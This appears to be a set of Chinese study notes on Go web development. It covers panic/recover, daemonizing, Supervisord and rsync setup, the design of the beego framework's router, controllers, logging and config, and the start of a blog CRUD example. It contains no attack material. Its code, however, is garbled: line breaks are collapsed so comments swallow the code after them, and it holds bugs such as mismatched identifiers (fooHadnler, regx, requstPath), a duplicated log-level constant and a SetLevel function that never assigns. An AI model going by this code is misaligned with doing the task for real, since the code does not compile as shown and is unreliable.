func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {if r.URL.Path == "/" {sayhelloName(w, r)return}NotFound404(w, r)return }func NotFound404(w http.ResponseWriter, r *http.Request) {log.Error("頁面找不到") //記錄錯誤日志t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件ErrorInfo := "文件找不到" //獲取當前用戶信息t.Execute(w, ErrorInfo) //執行模板的merger操作 }func SystemError(w http.ResponseWriter, r *http.Request) {log.Critical("系統錯誤") //系統錯誤觸發了Critical，那么不僅會記錄日志還會發送郵件t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件ErrorInfo := "系統暫時不可用" //獲取當前用戶信息t.Execute(w, ErrorInfo) //執行模板的merger操作 }

如何處理異常

因為說,其他語言很多都有try...catch,用來捕捉錯誤語言,不過很多錯誤都是可以預知的.

比如,打開一個文件,該文件不存在,Os.Open返回一個錯誤,而不是panic.比如向中斷的網絡連接寫數據net.Conn系列類型的Write函數返回一個錯誤，而他們不會panic,

但是有一種情況,有一些操作幾乎不可能失敗,但是在一些特定情況下也沒有辦法返回錯誤,也無法繼續執行,這種情況就應該panic.

比如,一個程序計算x[j],但是j越界了,這部分代碼就會導致panic.像這樣不可預知的嚴重后果就應該panic,在默認情況下他會殺死進程.

它允許一個正在運行這部分代碼的goroutine從發生錯誤的panic中恢復運行，發生panic之后，這部分代碼后面的函數和代碼都不會繼續執行，這是Go特意這樣設計的，因為要區別于錯誤和異常，panic其實就是異常處理。

如下代碼，我們期望通過uid來獲取User中的username信息，但是如果uid越界了就會拋出異常，這個時候如果我們沒有recover機制，進程就會被殺死，從而導致程序不可服務。因此為了程序的健壯性，在一些地方需要建立recover機制。

func GetUser(uid int) (username string) {defer func() {if x := recover(); x != nil {username = ""}}()username = User[uid]return }

注意:

如果我們定義的函數有可能失敗,就要返回一個錯誤.

當我調用其他包的函數，如果這個函數實現的好，我不用擔心它會panic，除非有真正的異常情況發生，即使那樣也不應該是我去處理它(為什么這么說,說不用處理???)。

而panic和recover是針對自己開發package里面實現的邏輯，針對一些特殊情況來設計。

應用部署

因為說,go程序編譯之后一個可執行文件,編寫過C程序的一定知道采用daemon就可以完美實現程序后臺持續運行.但是go無法完美實現daemon.

因此我們利用第三方工具來管理,例如Supervisord、upstart、daemontools等,在這里我們使用Supervisord.

daemon

目前Go程序還不能實現daemon，詳細的見這個Go語言的bug：http://code.google.com/p/go/issues/detail?id=227，大概的意思說很難從現有的使用的線程中fork一個出來，因為沒有一種簡單的方法來確保所有已經使用的線程的狀態一致性問題。

不推薦這樣去實現，因為官方還沒有正式的宣布支持daemon，當然第一種方案目前來看是比較可行的，而且目前開源庫skynet也在采用這個方案做daemon。

可以看到很多網上的一些實現daemon的方法

MarGo的一個實現思路，使用Command來執行自身的應用，如果真想實現，那么推薦這種方案

使用command來執行自身??牛逼操作!

d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") if *d {cmd := exec.Command(os.Args[0],"-close-fds","-addr", *addr,"-call", *call,)serr, err := cmd.StderrPipe()if err != nil {log.Fatalln(err)}err = cmd.Start()if err != nil {log.Fatalln(err)}s, err := ioutil.ReadAll(serr)s = bytes.TrimSpace(s)if bytes.HasPrefix(s, []byte("addr: ")) {fmt.Println(string(s))cmd.Process.Release()} else {log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)cmd.Process.Kill()} }

另一種是利用syscall的方案，但是這個方案并不完善：

package mainimport ("log""os""syscall" )func daemon(nochdir, noclose int) int {var ret, ret2 uintptrvar err uintptrdarwin := syscall.OS == "darwin"// already a daemonif syscall.Getppid() == 1 {return 0}// fork off the parent processret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)if err != 0 {return -1}// failureif ret2 < 0 {os.Exit(-1)}// handle exception for darwinif darwin && ret2 == 1 {ret = 0}// if we got a good PID, then we call exit the parent process.if ret > 0 {os.Exit(0)}/* Change the file mode mask */_ = syscall.Umask(0)// create a new SID for the child processs_ret, s_errno := syscall.Setsid()if s_errno != 0 {log.Printf("Error: syscall.Setsid errno: %d", s_errno)}if s_ret < 0 {return -1}if nochdir == 0 {os.Chdir("/")}if noclose == 0 {f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)if e == nil {fd := f.Fd()syscall.Dup2(fd, os.Stdin.Fd())syscall.Dup2(fd, os.Stdout.Fd())syscall.Dup2(fd, os.Stderr.Fd())}}return 0 }

Supervisord

Supervisord是用Python實現的一款非常實用的進程管理工具。supervisord會幫你把管理的應用程序轉成daemon程序，而且可以方便的通過命令開啟、關閉、重啟等操作，而且它管理的進程一旦崩潰會自動重啟，這樣就可以保證程序執行中斷后的情況下有自我修復的功能。

注意:

因為所有的應用程序都是由Supervisord父進程生出來的，那么當你修改了操作系統的文件描述符之后，別忘記重啟Supervisord，光重啟下面的應用程序沒用。

Supervisord安裝

Supervisord可以通過 sudo yum install supervisor安裝,也可以通過官網下載并解壓,在源碼所在目錄下執行setup.py install來安裝

Supervisord配置

Supervisord默認的配置文件路徑為/etc/supervisord.conf，下面是一個配置文件的示例

;/etc/supervisord.conf [unix_http_server] file = /var/run/supervisord.sock chmod = 0777 chown= root:root[inet_http_server] # Web管理界面設定 port=9001 username = admin password = yourpassword[supervisorctl] ; 必須和'unix_http_server'里面的設定匹配 serverurl = unix:///var/run/supervisord.sock[supervisord] logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) logfile_backups=10 ; (num of main logfile rotation backups;default 10) loglevel=info ; (log level;default info; others: debug,warn,trace) pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) nodaemon=true ; (start in foreground if true;default false) minfds=1024 ; (min. avail startup file descriptors;default 1024) minprocs=200 ; (min. avail process descriptors;default 200) user=root ; (default is current user, required if root) childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP)[rpcinterface:supervisor] supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface; 管理的單個進程的配置，可以添加多個program [program:blogdemon] command=/data/blog/blogdemon autostart = true startsecs = 5 user = root redirect_stderr = true stdout_logfile = /var/log/supervisord/blogdemon.log

Supervisord安裝完成后有兩個可用的命令行supervisor和supervisorctl

supervisord，初始啟動Supervisord，啟動、管理配置中設置的進程。
supervisorctl stop programxxx，停止某一個進程(programxxx)，programxxx為[program:blogdemon]里配置的值，這個示例就是blogdemon。
supervisorctl start programxxx，啟動某個進程
supervisorctl restart programxxx，重啟某個進程
supervisorctl stop all，停止全部進程，注：start、restart、stop都不會載入最新的配置文件。
supervisorctl reload，載入最新的配置文件，并按新的配置啟動、管理所有進程。

備份和恢復

應用備份

大多數情況下,web應用程序不需要備份,因為這本來就是我們代碼庫中下載下來的而已,我們的版本控制系統中已經保持這些代碼。

不過很多時候，一些開發的站點需要用戶來上傳文件，那么我們需要對這些用戶上傳的文件進行備份。

目前其實有一種合適的做法就是把和網站相關的需要存儲的文件存儲到云儲存

這里我們介紹一個文件同步工具rsync：rsync能夠實現網站的備份，不同系統的文件的同步

rsync安裝

rysnc的官方網站：http://rsync.samba.org/ 可以從上面獲取最新版本的源碼。我們目前好像就是用的這個工具進行的文件同步.

rsync特性：

可以鏡像保存整個目錄和文件系統

容易做到保持原來文件的權限、時間、軟硬鏈接等

無特殊權限就可以安裝，linux操作系統默認安裝

優化的流程、文件傳輸效率高

可以使用rsh ssh 方式來傳輸文件也可直接通過socket方式

支持匿名傳輸

rsync 進行遠程同步時，可以使用兩種方式：遠程Shell方式（建議使用 ssh用戶驗證由 ssh 負責）和C/S方式（即客戶連接遠程rsync 服務器，用戶驗證由rsync 服務器負責）

軟件包安裝

sudo apt install rsync yum install rsync

rsync配置

rsync主要有以下三個配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密碼文件)、rsyncd.motd(rysnc服務器信息)。

下面介紹服務器端和客戶端如何開啟

服務端開啟：

#/usr/bin/rsync --daemon --config=/etc/rsyncd.conf

--daemon參數方式，是讓rsync以服務器模式運行。把rsync加入開機啟動

echo 'rsync --daemon' >> /etc/rc.d/rc.local

設置rsync密碼

echo '你的用戶名:你的密碼' > /etc/rsyncd.secrets chmod 600 /etc/rsyncd.secrets

客戶端同步：

客戶端可以通過如下命令同步服務器上的文件：

rsync -avzP --delete --password-file=rsyncd.secrets 用戶名@192.168.145.5::www /var/rsync/backup

客戶端同步命令解釋：

-avzP代表4個選項
- a 歸檔模式，表示以遞歸方式傳輸文件，并保持所有文件屬性
- v 詳細模式輸出
- z 對備份的文件在傳輸時進行壓縮處理
- P 等同于 --partial,保留那些因故沒有完全傳輸的文件，以是加快隨后的再次傳輸
--delete 是為了比如A上刪除了一個文件，同步的時候，B會自動刪除相對應的文件
--password-file 客戶端中/etc/rsyncd.secrets設置的密碼，要和服務端的 /etc/rsyncd.secrets 中的密碼一樣，這樣cron運行的時候，就不需要密碼了
命令中的"用戶名"為服務端的 /etc/rsyncd.secrets中的用戶名
命令中的 192.168.145.5 為服務端的IP地址
::www，注意是2個 : 號，www為服務端的配置文件 /etc/rsyncd.conf 中的[www]，意思是根據服務端上的/etc/rsyncd.conf來同步其中的[www]段內容，一個 : 號的時候，用于不根據配置文件，直接同步指定目錄。

為了讓同步實時性，可以設置crontab，保持rsync每分鐘同步，也可以根據文件的重要程度設置不同的同步頻率。

下面都是MySQL備份和Redis備份,老沈常談,不說了

如何設計一個Web框架　

項目規劃

gopath以及項目設置

假設gopath是一個文件系統的普通目錄名，我們當然可以隨便設置一個目錄名，然后將其路徑存入GOPATH,GOPATH可以是多個目錄.

在linux/MacOS系統只要輸入終端命令export gopath=/home/liuhao/gopath，但是必須保證gopath這個代碼目錄下面有三個目錄pkg、bin、src。

新建項目的源碼放在src目錄下面，現在暫定我們的博客目錄叫做beeblog,工作目錄在$gopath/src下.

應用程序流程圖

本系統是基于模型 - 視圖 - 控制器這一設計模式的,MVC是一種將應用程序的邏輯層和表現層進行分離的結構方式.一般的web都是用這種結構,即使是前后端分離,也只是拋棄了view而已,有的甚至還是會把靜態文件放在view里面.由于把go代碼從表示層中剝離了出來,所以我們的網頁可以只包含很少的腳本.

模型(Model) 代表數據結構,通常來說,模型類將包含數據庫的增刪改查操作
控制器(Controller)是模型,視圖以及其他任何處理http請求所必須的資源之間的中介,并生成網頁.(簡而言之就是用來調度http請求資源的和生成頁面的地方)
視圖(View)是展示給用戶的信息的結構以及樣式.在go中一個視圖也可以是一個頁面的片段,還可以是一個RSS頁面或其他類型的頁面,go的template包已經很好的實現了view層中的大部分功能.

下圖是我們將要設計的框架的數據流是如何貫穿整個系統的:

main.go作為應用入口,初始化一些運行框架所需要的基本資源,配置信息,監聽端口

路由功能檢查http請求,根據URL以及method來確定哪個控制器來處理請求,也可以路由在這里做一點中間件功能.

如果緩存文件存在，它將繞過通常的流程執行，被直接發送給瀏覽器。

安全檢測：應用程序控制器調用之前，HTTP請求和任一用戶提交的數據將被過濾。(類似于中間件功能)

控制器裝在模型,核心庫,輔助函數,以及任何處理特定請求所需的其他資源,控制器主要負責處理業務邏輯

輸出視圖層中已經渲染完畢的頁面發送給Web瀏覽器中。如果開啟緩存，視圖首先被緩存，將用于以后的常規請求。

目錄結構

架構目錄如下:

框架設計

基本上就是利用上面的流程設計一個最小的框架,框架包括路由功能,支持REST的控制器,自動化渲染末班,日志系統,配置管理等

自定義路由器設計

http路由 http路由組件負責將http請求交到對應的函數去處理或者是一個struct的方法,留有在框架中相當于一個事件處理器,而這個事件要包括:

用戶請求的路徑即path,例如:user/liu,finance/list.當然還要有查詢串信息例如:?id=1
http的請求方法(method)(GET,POST,PUT,DELETE,PATCH等)

路由器就是根據用戶請求的事件信息轉發到相應的處理函數,即控制器.

默認的路由實現

這里再說一下go的http包的設計和路由實現

下面的例子調用了HTTP默認的DefaultServeMux來添加路由,需要提供兩個參數,第一個參數是用戶訪問此資源的URL路徑,該路徑保存在r.URL.Path中,第二個參數是即將要執行的函數,以提供用戶訪問的資源,路由的主要思路集中在亮點:

添加路由信息
根據用戶請求轉發到要執行的函數

//編寫函數,作為下面的回調 func fooHadnler(w http.ResponseWriter, r *http.Request){fmt.Fprintf(w,"heelo,%q",html.EscapeString(r.URL.Path)) }//調用我們封裝的回調函數 http.HandleFunc("/foo",fooHandler)//直接寫回調函數 http.HandleFunc("/bar",func(w http.ResponseWriter, r *http.Request){fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) })log.Fatal(http.ListenAndServe(":8080", nil))

go的默認路由添加是通過函數http.Handle和http.HandleFunc等來添加的,底層都是調用了DefaultServeMux.Handle(pattern string, handler Handler),該函數會把路由存儲在一個map信息中map[string]muxEntry,這就解決了- 添加路由信息的問題

go監聽端口,然后接收到tcp連接會扔給Handler來處理,上面的例子默認nil的意思,即為http.DefaultServeMux,通過DefaultServeMux.ServeHTTP函數來進行調度,遍歷之前存儲的map路由信息,和用戶訪問的URL做匹配,以查詢對應注冊的處理函數,這就實現了上面說的 - 根據用戶請求轉發到要執行的函數

for k, v := range mux.m {if !pathMatch(k, path) {continue}if h == nil || len(k) > n {n = len(k)h = v.h} }

beego框架路由實現

目前幾乎所有的Web應用路由實現都是基于http默認的路由器，但是Go自帶的路由器有幾個限制：

不支持參數設定,流入/user/:uid這種泛型匹配
無法很友好的支持REST模式,無法限制訪問的方法,例如在上面的代碼中,用戶訪問/foo，可以用GET、POST、DELETE、HEAD等方式訪問
一般網站的路由規則太多了，編寫繁瑣.不過可以通過struct的方法進行一種簡化

存儲路由

針對前面所說的go自帶的路由的限制點

不支持參數設定,我們可以使用正則來匹配
無法很好的支持REST模式和一般網站的路由規則太多了,我們通過把REST的方法對應到struct的方法中取,然后路由到struct而不是函數,這樣在轉發路由時就可以根據method來執行不同的方法

所以我們設計了兩個數據類型

controllerinfo 用來保存路由和對應的的struct,這里是一個reflect.Type類型
ControllerRegistor,routers是一個slice用來保存用戶添加的路由信息,以及beego框架的應用信息

看這里的時候可能有感覺有點懵逼,沒事繼續往下看,先記住這里,看到下一個小節就都明白了

框架我都懶得寫了...

//保存路由和對應的struct type controllerInfo struct{regex *regexp.Regexpparams map[int]stringcontrollerType reflect.Type//反射類型 }// type ControllerRegistor struct{routers []*controllerInfo //保存我們添加的路由信息Application *App //框架的應用信息 }

ControllerRegistor對外的接口函數有

func (p *ControllerRegistor) Add(pattern string, ControllerInterface)

函數的具體實現

func (p *ControllerRegistor) Add(pattern string, c ControllerInterface){//按照/分割字符串為sliceparts := strings.Split(pattern, "/")j:=0parms := make(map[int]string)for i,part := range parts{//判斷字符串是否以:開頭if strings.HasPrefix(part, ":"){expr := "([^/]+)"//我們可以選擇覆蓋defult表達式//類似于expressjs: ' /user/:id([0-9]+) '//如果發現字符串中(,則剪切字符串,一個作為參數,一個作為路由if index := strings.Index(part,"("); index != -1{expr = part[index:]part = part[:index]}params[j] = partparts[i] = exprj++}}//重新創建url模式，替換參數//正則表達式,然后編譯正則表達式pattern = strings.Join(parts, "/")regex, regexErr := regexp.Compile(pattern)if regexErr != nil{//可以在這里添加錯誤處理以避免恐慌panic(regexErr)return}//現在可以創建路由t := reflect.Indirect(reflect.ValueOf(c)).Type()route := &controllerInfo{}route.regex = regxroute.params = paramsroute.controllerType = tp.routers = append(p.routers, route)}

靜態路由實現

Go的http包默認支持靜態文件處理FileServer,既然我們實現了了自定義路由,那么靜態文件也需要自己設定.我們這里的beego的靜態文件夾路徑保存在全局變量StaticDir中,StaticDir是一個map類型

func (app *App) SetStaticPath(url string,path string) *App{StaticDir[url] = pathreturn app }

在應用中設置靜態文件的路徑可以使用下面的方式實現:

beego.SetStaticPath("/img","/static/img")

轉發路由

轉發路由是基于ControllerRegistor里的路由信息來進行轉發的,這里用了太多的反射

//路由轉發 func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter,r *http.Request){//一個自動觸發的回調函數,但是會在函數運行完之后才執行defer func(){if err := recover(); err!=nil{//我們自己封裝的錯誤處理if !RecoverPanic{// 此處會go back to panicpanic(err)}else{//我們可以自己封裝的日志處理Critical("hanler 轉發失敗", err)for i:=1; ;i+=1{_,file,line,ok := runtime.Caller(i)if !ok{break}Critical(file,line)}}}}()var started bool//遍歷StaticDir這個map,得到靜態文件保存的目錄和下標for prefix, staticDir := range StaticDir{//判斷用戶訪問的URL是否存在于我們預先設定的map中,如果存在則開始做拼接處理if strings.HasPrefix(r.URL.Path, prefix){file := staticdir + r.URL.Path[len(prefix):]http.ServeFile(w, r, file)started = truereturn}}/***找一條匹配路由*/ //得到用戶請求的URL地址requstPath := r.URL.Path//遍歷我們預先定義的路由列表for _,route := range p.routers{//使用我們預先定義的路由,來做簡單的正則匹配,判斷用戶請求的URL是否是在我們存儲的路由中//如果不是,就跳過循環,開始進入下一個循環if !route.regex.MatchString(requestPath){continue}//Submatch 返回完全匹配和局部匹配的字符串。例如，這里會返回 p([a-z]+)ch 和 `([a-z]+) 的信息。matches := route.regex.FindStringSubmatch(requestPath)//再次檢查路由是否匹配URL模式。//即用上面正則,拿到的我們匹配到的參數的長度和用戶請求的URL的長度做對比,如果不一樣的進入下一個循環if len(matches[0]) != len(requestsPath){continue}params := make(map[string]string)if len(route.params) >0{//將url的請求參數添加到查詢參數映射values := r.URL.Query()//遍歷上面正則查詢到的所有結果(從下標1開始),并將下標和值,分別保存for i, match := range matches[1:] {values.Add(route.params[i], match)params[route.params[i]] = match}//重新組裝查詢參數并添加到RawQueryr.URL.RawQuery = url.Values(values).Encode() + "&"+ r.URL.RawQuery}/***調用請求處理程序*///使用反射,動態創建一個struct,其實就是注冊方法vc := reflect.New(route.controllerType)//注冊封裝的Init方法init := vc.MethodByName("Init")in := make([]reflect.Value, 2)ct := &Context{ResponseWriter: w, Request: r, Params: params}in[0] = reflect.ValueOf(ct)in[1] = reflect.ValueOf(route.controllerType.Name())init.Call(in)in = make([]reflect.Value, 0)//同樣,注冊封裝的Prepare方法method := vc.MethodByName("Prepare")//調用封裝的方法method.Call(in)//逐個匹配請求方式,判斷激活那個方法if r.Method == "GET" {method = vc.MethodByName("Get")method.Call(in)} else if r.Method == "POST" {method = vc.MethodByName("Post")method.Call(in)} else if r.Method == "HEAD" {method = vc.MethodByName("Head")method.Call(in)} else if r.Method == "DELETE" {method = vc.MethodByName("Delete")method.Call(in)} else if r.Method == "PUT" {method = vc.MethodByName("Put")method.Call(in)} else if r.Method == "PATCH" {method = vc.MethodByName("Patch")method.Call(in)} else if r.Method == "OPTIONS" {method = vc.MethodByName("Options")method.Call(in)}if AutoRender {method = vc.MethodByName("Render")method.Call(in)}method = vc.MethodByName("Finish")//調用匹配到的方法method.Call(in)started = truebreak}//如果沒有匹配到url，則拋出not found異常if started == false {http.NotFound(w, r)} }

使用入門

基于這樣的路由設計之后就可以解決前面所說的三個限制點,下面是使用方式

基本的使用注冊路由：

beego.BeeApp.RegisterController("/", &controllers.MainController{})

參數注冊：

beego.BeeApp.RegisterController("/:param", &controllers.UserController{})

正則匹配：

beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})

controller設計

controller作用

這里就不贅述了,Controller指Web開發人員編寫的處理不同URL的控制器.controller在整個的MVC框架中起到了一個核心的作用，負責處理業務邏輯.

beego的REST設計

前面一小節,我們實現了路由注冊struct的功能,而struct中實現了REST方式,因此我們這里還需要設計一個用于處理業務邏輯的controller的基類,這里主要設計兩個類型,一個struct,一個interface

//控制器結構體 type Controller struct{Ct *ContextTpl *template.TemplateData map[interface{}]interface{}ChildName stringTplNames stringLayout []stringTplExt string }//控制器接口 type ControllerInterface interface{Init(ct *Context, cn string) //初始化上下文和子類名稱Prepare() //開始執行之前的一些處理Get() //method=get的處理Post() //同上Delete() //同上Put() //同上Head() //同上Patch() //同上Finish() //執行完畢之后的處理Render() error //執行完method對應的方法之后渲染頁面 }

就像前面說的路由add函數的時候是定義了ControllerInterface類型,因此只要我們事先這個接口就可以了,下面是基類的controller實現的幾個方法

func (c *Controller) Init(ct *Context, cn string){c.Data =make(map[interface{}]interface{})c.Layout = make([]string,0)c.TplNames = ""c.ChildName= cnc.Ct=ctc.TplExt="tpl" }func (c *Controller) Prepare() {}func (c *Controller) Finish() {}func (c *Controller) Get() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Post() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Delete() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Put() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Head() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Patch() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller) Options() {http.Error(c.Ct.ResponseWriter, "接口不被允許", 405) }func (c *Controller)Render() error{//如果layout>0 即需要多個模板或一個模板if len(c.Layout)>0{var filenames []stringfor _, file := range c.Layout{filenames = append(filenames, path.Join(ViewsPath, file))}//這里這個...意思是把這個slice打算逐個當參數穿進去t, err := template.ParseFiles(filenames...)if err != nil{Trace("template parseFile error:",err)}err = t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,C.Data)if err != nil{Trace("template execute error:", err)}}else{//如果沒有模板,我們就拼接一個子的if c.TplNames == ""{c.TplNames = c.ChildName + "/" + c.Ct.Resquest.Method+"."+c.TplExt}t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))if err != nil {Trace("template parsefile error:", err)}err = t.Execute(c.Ct.ResponseWriter, c.Data)if err != nil {Trace("template execute error:", err)}}return nil}func (c *Controller) Redirect(url string, code int) {c.Ct.Redirect(code, url) }

上面的controller基類已經實現了所有接口定義的函數，通過路由根據url執行相應的controller的原則，會依次執行

Init() 初始化 Prepare() 執行之前的初始化，每個繼承的子類可以來實現該函數 method() 根據不同的method執行不同的函數：GET、POST、PUT、HEAD等，子類來實現這些函數，如果沒實現，那么默認都是403 Render() 可選，根據全局變量AutoRender來判斷是否執行 Finish() 執行完之后執行的操作，每個繼承的子類可以來實現該函數

應用指南

上面基本上已經完成了controller基類的設計,我們可以在應用中這么設計我們的控制器方法

//這塊可以看一下作者的代碼,可見他這里就直接import了項目中的框架 //且直接在控制器方法中添加參數,設置模板 package controllersimport ("github.com/astaxie/beego" )type MainController struct {beego.Controller }func (this *MainController) Get() {this.Data["Username"] = "astaxie"this.Data["Email"] = "astaxie@gmail.com"this.TplNames = "index.tpl" }

在上面我們已經實現了子類的MainController,實現了Get方法,如果用戶通過其他的方式(POST/HEAD等)來訪問該接口都將返回405,因為我們設置了AutoRender=true，那么在執行完Get方法之后會自動執行Render函數,取到我們設置的index.tpl頁面

index.tpl的代碼如下所示，我們可以看到數據的設置和顯示都是相當的簡單方便：

<!DOCTYPE html> <html><head><title>beego welcome template</title></head><body><h1>Hello, world!{{.Username}},{{.Email}}</h1></body> </html>

日志和配置設計

beego的日志設計

beego的日志設計部署思路來自于seelog,根據不同的level來記錄日志

但是beego設計的日志系統就比較輕量級了,采用了系統的log.Logger接口來做,默認輸出到os.Stdout

用戶可以實現這個接口然后通過beego.SetLogger設置自定義的輸出

下面實現了一段日志系統的日志分級,默認的級別是Trace.用戶通過SetLevel可以設置不同的分級。

const(LvelTrace = iota //默認自增枚舉,初始值為0LevelDebugLevelInfoLevelWarningLevelWarningLevelErrorLevelCritical )// logLevel控制日志記錄器使用的全局日志級別。 var level = LevelTrace// LogLevel返回全局日志級別，可用于 //日志程序接口的實現。 func Level()int{return level }// SetLogLevel設置simple使用的全局日志級別 //設置日志記錄登記 func SetLevel(l int){level }

下面代碼初始化了BeeLogger對象，默認輸出到os.Stdout

我們可以通過beego.SetLogger來設置實現了logger的接口輸出

下面主要實現了6個函數:

Trace 一般的記錄信息
Debug 調試信息
Info 打印信息
Warn 警告信息
Error 錯誤信息
Critical 致命錯誤

可以看到下面每個函數都有對level的判斷,所以我們在部署的時候設置了level=LevelWaring,那么Trace,Debug,Info這三個函數都不會有任何的輸出,一次類推

//日志程序使用go自帶的日志包。 var BeeLogger = log.New(os.Stdout,"",log.Ldate|Log.Ltime)// SetLogger設置一個新的日志程序。 func SetLogger(l *log.Logger){BeeLogger =l }//記錄一個trace 級別的日志消息 func Trace(v ...interface{}){if level <= LevelTrace{Beelogger.Printf("[T] %v\n", v)} }//記錄一個debug 級別的日志小 func Debug(v ...interface{}){if level <= LevelDebug{BeeLogger.Printf("[D]%v\n", v)} }//記錄一個info級別的日志消息 func Info(v ...interface{}){if level <= LevelInfo{Beelogger.Printf("[I] %v\n",v)} }//記錄一個warging 級別的錯誤信息 func Warn(v ...interface{}){if level <= LevelWarning{BeeLogger.Printf("[W] %v\n", v)} }//記錄一個error級別的錯誤信息 func Error(v ...interface{}){if level <= LevelError{BeeLogger.Printf("[E] %v\n",v)} }//記錄一個critical級別的錯誤日志 func Critical(v ...interface}){if level <= LevelCritical{BeeLogger.Printf("[C] %v\n", v)} }

beego的配置設計

配置信息的解析,beego實現了一個key=values的配置文件讀取,類似于ini配置文件的格式.

通過把解析的數據保存到map中,然后在調用的時候通過幾個string,int之類的函數調用返回相應的值

首先定義了一些ini配置問價的一些全局性常量

var (bComment = []byte{'#'}bEmpty = []byte{}bEquel = []byte{'='}bDQuote = []byte{'"'} )

定義配置文件的格式

//配置文件的配置方式 type Config struct{filename stringconmment map[int][]string /// id: []{comment, key...}; id 1 is for main comment.data map[string]string //key: valueoffset map[string]int64 //key: offset; for editing.sync.RWMutex //鎖 }

解析文件的函數,解析文件的過程是打開文件,然后一行一行的讀取，解析注釋、空行和key=value數據

//ParseFile創建一個新的配置并從指定的文件解析文件配置 func LoadConfig(name string) (*Config, error){file,err := os.Open(name)if err != nil{return nil,err}cfg := &Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}cfg.Lock()defer cfg.Unlock()defer file.Close()//聲明一個byte的緩沖區var comment bytes.Bufferbuf := bufio.NewReader(file)for nComment, off := 0,int64(1);;{line,_,err := buf.ReadLine()if err == io.EOF{break}if bytes.Equal(line,bEmpty){continue}off += int64(len(line))if bytes.HasPrefix(line,bComment){line = bytes.TrimLeft(line, "#")line = bytes.TrimLeftFunc(line, unicode.IsSpace)comment.Write(line)comment.WriteByte('\n')continue}if comment.Len() != 0 {cfg.comment[nComment] = []string{comment.String()}comment.Reset()nComment++}val := bytes.SplitN(line, bEqual, 2)if bytes.HasPrefix(val[1], bDQuote) {val[1] = bytes.Trim(val[1], `"`)}key := strings.TrimSpace(string(val[0]))cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)cfg.data[key] = strings.TrimSpace(string(val[1]))cfg.offset[key] = off}return cfg, nil}

實現了一些讀取配置文件的函數

返回的值為bool、int、float64或string：

func (c *Config) Bool(key string) (bool, error){return strconv.ParseBool(c.Data[key]) }func (c *Config) Int(key string) (int,error){return strconv.Atoi(c.Data[key]) }func (c *Config) Float(key string) (float64,error){return strconv.ParseFloat(c.data[key],64) }func (c *Config) String(key string) string{return c.data[key] }

應用指南

一個應用中的例子，用來獲取遠程url地址的json數據

func GetJson(){resp, err := http.Get(beego.AppConfig.String("url"))if err != nil{beego.Critical("http獲取失敗")}defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)err = json.Unmarshal(body, &AllInfo)if err != nil{beego.Critical("error:", err)} }

函數調用了我們在框架中封裝的日志函數beego.Critical函數來記錄錯誤

調用了beego.AppConfig.String("url")用來獲取配置文件中的信息

配置文件的信息如下(app.conf)

appname = hs url ="http://www.api.com/api.html"

實現博客的增刪改

博客目錄

博客目錄的結構

. ├── controllers │ ├── delete.go │ ├── edit.go │ ├── index.go │ ├── new.go │ └── view.go ├── main.go ├── models │ └── model.go └── views├── edit.tpl├── index.tpl├── layout.tpl├── new.tpl└── view.tpl

博客路由

博客主要的路由規則:

//顯示博客首頁 beego.Router("/", &controllers.IndexController{}) //查看博客詳細信息 beego.Router("/view/:id([0-9]+)", &controllers.ViewController{}) //新建博客博文 beego.Router("/new", &controllers.NewController{}) //刪除博文 beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{}) //編輯博文 beego.Router("/edit/:id([0-9]+)", &controllers.EditController{})

數據庫結構

CREATE TABLE entries (id INT AUTO_INCREMENT,title TEXT,content TEXT,created DATETIME,primary key (id) );

控制器

IndexController:

type IndexController struct{beego.Controller }//默認首頁 func (this *IndexController) Get(){this.Data["blogs"] = models.GetAll()this.Layout = "layout.Tpl"this.TplName = "index.tpl" }

ViewController

type ViewController struct{beego.Controller }func (this *ViewController) Get(){id,_:= strconv.Atoi(this.Ctx.Input.Params()[":id"])this.Data["Post"] = models.GetBlog(id)this.Layout = "layout.tpl"this.TplName = "view.tpl" }

NewController

type NewController struct {beego.Controller }func (this *NewController) Get() {this.Layout = "layout.tpl"this.TplName = "new.tpl" }func (this *NewController) Post() {inputs := this.Input()var blog models.Blogblog.Title = inputs.Get("title")blog.Content = inputs.Get("content")blog.Created = time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302, "/") }

EditController

type EditController struct {beego.Controller }func (this *EditController) Get() {id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"])this.Data["Post"] = models.GetBlog(id)this.Layout = "layout.tpl"this.TplName = "edit.tpl" }func (this *EditController) Post() {inputs := this.Input()var blog models.Blogblog.Id, _ = strconv.Atoi(inputs.Get("id"))blog.Title = inputs.Get("title")blog.Content = inputs.Get("content")blog.Created = time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302, "/") }

DeleteController

